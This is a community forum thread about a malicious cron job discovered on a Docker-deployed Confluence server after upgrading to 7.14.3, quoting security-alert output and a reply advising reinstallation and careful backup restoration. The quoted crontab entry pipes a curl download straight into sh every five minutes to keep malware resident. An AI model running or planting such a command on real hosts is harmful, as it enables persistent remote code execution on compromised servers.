Showing results for 
Search instead for 
Did you mean: 
Sign up Log in

Earn badges and make progress

You're on your way to the next level! Join the Kudos program to earn points and save your progress.

Deleted user Avatar
Deleted user

Level 1: Seed

25 / 150 points

Next: Root


1 badge earned


Participate in fun challenges

Challenges come and go, but your rewards stay with you. Do more to earn more!


Gift kudos to your peers

What goes around comes around! Share the love by gifting kudos to your peers.


Rise up in the ranks

Keep earning points to reach the top of the leaderboard. It resets every quarter so you always have a chance!


Come for the products,
stay for the community

The Atlassian Community can help you and your team get more value out of Atlassian products and practices.

Atlassian Community about banner
Community Members
Community Events
Community Groups

Malicious script after upgrading 7.14.3

Problem:Malicious script after upgrading 7.14.3.

Environment: deploy using docker.


ECS abnormal alarm:

Malicious script path: /var/spool/cron/conference1.

Malicious script tag: remote load command, malicious scheduled task persistence, remote load command, kill competitor process.

File creation time: 2021-09-05 12:40:46

Event description: the detection model finds that there is a malicious script file on your server, which is most likely implanted by an attacker after successfully invading the server. It is recommended that you check the legitimacy of the file content according to the label of the malicious script and handle it.


Type: crontabitem
Path: /var/spool/cron/conference1
Content: */5 * * * * curl -fssl | sh
Event description: the cloud security center has detected that there is an abnormal self startup item on your host, which is most likely implanted by malware or hackers to keep the malicious program resident. If these self starting items are not handled, the malicious program is likely to be implanted again. Therefore, it is recommended that you use "virus defense" to comprehensively scan and clean the host, or handle it manually according to the details in the alarm.


2 answers

0 votes
Daniel Ebers Community Leader Aug 17, 2022

Hi @yangkangwei

from what you stated it looks like your server has been compromised. Please note that a cleaning might not be sufficient and the attacker could have left some backdoor allowing him to come back.

From my point of few a reinstallation of the virtual machine would be the safest way to ensure a clean system. Then you would need to inspect carefully backups and restore your instance from a backup.


Do you have a brother to help us see how to solve this problem? Thank you

Suggest an answer

Log in or Sign up to answer

Atlassian Community Events